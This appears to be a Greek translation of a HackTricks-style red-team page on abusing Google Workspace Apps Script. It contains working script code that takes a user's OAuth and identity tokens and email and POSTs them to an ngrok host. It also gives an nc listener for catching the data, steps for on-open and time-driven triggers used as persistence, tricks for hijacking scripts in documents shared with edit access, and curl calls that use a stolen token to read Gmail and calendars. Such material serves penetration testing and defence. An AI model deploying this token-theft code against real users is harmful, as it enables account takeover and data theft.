GWS - App Scripts

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Ερυθρού Συνεργείου HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Εφαρμογές Σεναρίων

Οι Εφαρμογές Σεναρίων είναι κώδικας που θα ενεργοποιηθεί όταν ένας χρήστης με άδεια επεξεργαστή έχει πρόσβαση στο έγγραφο με το οποίο συνδέεται ο Κώδικας Εφαρμογής και μετά την αποδοχή του προμηθευτή OAuth. Μπορούν επίσης να οριστούν να εκτελούνται κάθε συγκεκριμένο χρονικό διάστημα από τον ιδιοκτήτη του Κώδικα Εφαρμογής (Μόνιμοτητα).

Δημιουργία Κώδικα Εφαρμογής

Υπάρχουν διάφοροι τρόποι δημιουργίας Κώδικα Εφαρμογής, αν και οι πιο κοινοί είναι από ένα Έγγραφο Google (οποιουδήποτε τύπου) και ως αυτόνομο έργο:

Δημιουργία έργου που είναι συνδεδεμένο με το Google Docs, Sheets ή Slides
  1. Ανοίξτε ένα έγγραφο Docs, ένα φύλλο Sheets ή μια παρουσίαση Slides.

  2. Κάντε κλικ στο Επεκτάσεις > Κώδικας Εφαρμογών Google.

  3. Στον επεξεργαστή κώδικα, κάντε κλικ στο Ανώνυμο έργο.

  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Μετονομασία.

Δημιουργία αυτόνομου έργου

Για να δημιουργήσετε ένα αυτόνομο έργο από το Apps Script:

  1. Πηγαίνετε στο script.google.com.

  2. Κάντε κλικ στο Προσθήκη Νέου Έργου.

  3. Στον επεξεργαστή κώδικα, κάντε κλικ στο Ανώνυμο έργο.

  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Μετονομασία.

Δημιουργία αυτόνομου έργου από το Google Drive
  1. Ανοίξτε το Google Drive.

  2. Κάντε κλικ στο Νέο > Περισσότερα > Κώδικας Εφαρμογών Google.

Δημιουργία έργου που είναι συνδεδεμένο με το Google Forms
  1. Ανοίξτε ένα φόρμα στο Google Forms.

  2. Κάντε κλικ στο Περισσότερα more_vert > Επεξεργαστής κώδικα.

  3. Στον επεξεργαστή κώδικα, κάντε κλικ στο Ανώνυμο έργο.

  4. Δώστε στο έργο σας ένα όνομα και κάντε κλικ στο Μετονομασία.

Δημιουργία αυτόνομου έργου χρησιμοποιώντας το εργαλείο γραμμής εντολών clasp

Το clasp είναι ένα εργαλείο γραμμής εντολών που σάς επιτρέπει να δημιουργήσετε, να τραβήξετε/να σπρώξετε και να αναπτύξετε έργα Apps Script από ένα τερματικό.

Δείτε τον Οδηγό Χρήσης της Διεπαφής Γραμμής Εντολών χρησιμοποιώντας το clasp για περισσότερες λεπτομέρειες.

Σενάριο Κώδικα Εφαρμογής

Δημιουργία Google Sheet με Κώδικα Εφαρμογής

Ξεκινήστε δημιουργώντας έναν Κώδικα Εφαρμογής, η σύστασή μου για αυτό το σενάριο είναι να δημιουργήσετε ένα Google Sheet και να πάτε στο Επεκτάσεις > Κώδικας Εφαρμογών, αυτό θα ανοίξει έναν νέο Κώδικα Εφαρμογής συνδεδεμένο με το φύλλο.

Διαρροή διακριτικού

Για να δώσετε πρόσβαση στο διακριτικό OAuth πρέπει να κάνετε κλικ στο Υπηρεσίες + και να προσθέσετε εμβέλειες όπως:

  • AdminDirectory: Πρόσβαση σε χρήστες και ομάδες του καταλόγου (αν ο χρήστης έχει αρκετές άδειες)

  • Gmail: Για πρόσβαση σε δεδομένα gmail

  • Drive: Για πρόσβαση σε δεδομένα drive

  • Google Sheets API: Έτσι λειτουργεί με την ενεργοποίηση

Για να αλλάξετε εσείς οι ίδιοι τις απαιτούμενες εμβέλειες μπορείτε να πάτε στις ρυθμίσεις έργου και να ενεργοποιήσετε: Εμφάνιση του αρχείου μεταδεδομένων "appsscript.json" στον επεξεργαστή.

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

Για να αιχμαλωτίσετε το αίτημα, απλώς μπορείτε να εκτελέσετε:

ngrok tcp 4444
nc -lv 4444 #macOS

Οι άδειες που ζητούνται για την εκτέλεση του App Script:

Καθώς γίνεται μια εξωτερική αίτηση, το παράθυρο ταυτοποίησης OAuth θα ζητήσει επίσης άδεια για να φτάσει σε εξωτερικά σημεία.

Δημιουργία Trigger

Αφού διαβάσετε το App, κάντε κλικ στο ⏰ Triggers για να δημιουργήσετε ένα trigger. Ως λειτουργία επιλέξτε το getToken, τρέχει κατά την αναπτυξιακή Head, στην πηγή γεγονότος επιλέξτε Από φύλλο εργασίας και τύπο γεγονότος επιλέξτε Κατά το άνοιγμα ή Κατά την επεξεργασία (ανάλογα με τις ανάγκες σας) και αποθηκεύστε.

Σημειώστε ότι μπορείτε να ελέγξετε τις εκτελέσεις των App Scripts στην καρτέλα Εκτελέσεις αν θέλετε να εντοπίσετε κάποιο σφάλμα.

Διαμοιρασμός

Για να ενεργοποιήσετε το App Script, ο θύμα χρειάζεται να συνδεθεί με Πρόσβαση Επεξεργαστή.

Το token που χρησιμοποιείται για την εκτέλεση του App Script θα είναι αυτό του δημιουργού του trigger, ακόμα κι αν το αρχείο ανοίγεται ως Επεξεργαστής από άλλους χρήστες.

Κατάχρηση εγγράφων που έχουν κοινοποιηθεί με εμένα

Αν κάποιος σας κοινοποίησε ένα έγγραφο με App Scripts και ένα trigger χρησιμοποιώντας το Head του App Script (όχι μια σταθερή ανάπτυξη), μπορείτε να τροποποιήσετε τον κώδικα του App Script (προσθέτοντας, για παράδειγμα, λειτουργίες κλοπής του τοκέν), να τον αποκτήσετε πρόσβαση και το App Script θα εκτελεστεί με τις άδειες του χρήστη που σάς κοινοποίησε το έγγραφο! (σημειώστε ότι το OAuth token του κατόχου θα έχει ως εύρος πρόσβασης αυτό που δόθηκε κατά τη δημιουργία του trigger).

Ένα ειδοποίηση θα σταλεί στον δημιουργό του σεναρίου υποδεικνύοντας ότι κάποιος τροποποίησε το σενάριο (Τι γίνεται με τη χρήση των δικαιωμάτων του gmail για τη δημιουργία φίλτρου για την αποτροπή της ειδοποίησης;)

Αν ένας επιτιθέμενος τροποποιήσει τις εμβέλειες του App Script, οι ενημερώσεις δεν θα εφαρμοστούν στο έγγραφο μέχρι να δημιουργηθεί ένας νέος trigger με τις αλλαγές. Έτσι, ένας επιτιθέμενος δεν θα μπορεί να κλέψει τον δημιουργό του κατόχου με περισσότερες εμβέλειες από αυτές που ορίστηκαν στο trigger που δημιούργησε.

Αντιγραφή αντί για κοινοποίηση

Όταν δημιουργείτε ένα σύνδεσμο για να μοιραστεί ένα έγγραφο δημιουργείται ένας σύνδεσμος παρόμοιος με αυτόν: https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit Αν αλλάξετε το τέλος "/edit" σε "/copy", αντί να το ανοίξετε, το Google θα σας ρωτήσει αν θέλετε να δημιουργήσετε ένα αντίγραφο του εγγράφου:

Αν ο χρήστης το αντιγράψει και το ανοίξει, τότε τόσο τα περιεχόμενα του εγγράφου όσο και τα App Scripts θα αντιγραφούν, ωστόσο τα triggers δεν θα αντιγραφούν, επομένως τίποτα δεν θα εκτελεστεί.

Διαμοιρασμός ως Εφαρμογή Web

Σημειώστε ότι είναι επίσης δυνατό να μοιραστείτε ένα App Script ως εφαρμογή Web (στον Επεξεργαστή του App Script, αναπτύξτε το ως εφαρμογή Web), αλλά θα εμφανιστεί μια ειδοποίηση όπως αυτή:

Ακολουθείται από το συνηθισμένο παράθυρο ταυτοποίησης OAuth που ζητά τις απαιτούμενες άδειες.

Δοκιμή

Μπορείτε να δοκιμάσετε ένα συλλεγμένο τοκέν για να καταχωρίσετε τα emails με:

curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

Λίστα ημερολογίου του χρήστη:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

Σενάριο App Script ως Διατήρηση

Μία επιλογή για διατήρηση θα μπορούσε να είναι να δημιουργήσετε ένα έγγραφο και να προσθέσετε έναν εκκινητή για τη λειτουργία getToken και να μοιραστείτε το έγγραφο με τον επιτιθέμενο, έτσι ώστε κάθε φορά που ο επιτιθέμενος ανοίγει το αρχείο εξαγάγει το διαπιστευτή του θύματος.

Είναι επίσης δυνατόν να δημιουργήσετε ένα App Script και να το ρυθμίσετε να εκκινεί κάθε X χρόνο (όπως κάθε λεπτό, ώρα, ημέρα...). Ένας επιτιθέμενος που έχει διαρρεύσει διαπιστευτήρια ή μια συνεδρία ενός θύματος θα μπορούσε να ρυθμίσει ένα χρονοδιακόπτη App Script και να διαρρεύσει ένα πολύ προνομιούχο OAuth διαπιστευτή κάθε μέρα:

Απλά δημιουργήστε ένα App Script, πηγαίνετε στους Εκκινητές, κάντε κλικ στο Προσθήκη Εκκινητή και επιλέξτε ως πηγή γεγονότος το Time-driven και επιλέξτε τις επιλογές που σας ταιριάζουν καλύτερα:

Αυτό θα δημιουργήσει ένα email ειδοποίησης ασφαλείας και ένα μήνυμα ειδοποίησης στο κινητό σας γι' αυτό.

Παράκαμψη Μη Επιβεβαιωμένης Κοινής Πρόσβασης Έγγραφου

Επιπλέον, αν κάποιος μοιράστηκε μαζί σας ένα έγγραφο με πρόσβαση επεξεργασίας, μπορείτε να δημιουργήσετε App Scripts μέσα στο έγγραφο και ο ΚΑΤΟΧΟΣ (δημιουργός) του εγγράφου θα είναι ο ιδιοκτήτης του App Script.

Αυτό σημαίνει ότι ο δημιουργός του εγγράφου θα εμφανίζεται ως δημιουργός οποιουδήποτε App Script που δημιουργεί οποιοσδήποτε με πρόσβαση επεξεργασίας μέσα σε αυτό.

Αυτό σημαίνει επίσης ότι το App Script θα είναι εμπιστευμένο από το περιβάλλον Workspace του δημιουργού του εγγράφου.

Αυτό σημαίνει επίσης ότι αν ένα App Script υπήρχε ήδη και οι άνθρωποι έχουν χορηγήσει πρόσβαση, οποιοσδήποτε με Δικαιώματα Επεξεργασίας στο έγγραφο μπορεί να το τροποποιήσει και να καταχραστεί αυτήν την πρόσβαση. Για να καταχραστείτε αυτό, χρειάζεστε επίσης άτομα που θα εκκινήσουν το App Script. Και ένα καλό κόλπο είναι να δημοσιεύσετε το σενάριο ως web εφαρμογή. Όταν οι άνθρωποι που έχουν ήδη χορηγήσει πρόσβαση στο App Script αποκτήσουν πρόσβαση στην ιστοσελίδα, θα εκκινήσουν το App Script (αυτό λειτουργεί επίσης χρησιμοποιώντας ετικέτες <img>).

Last updated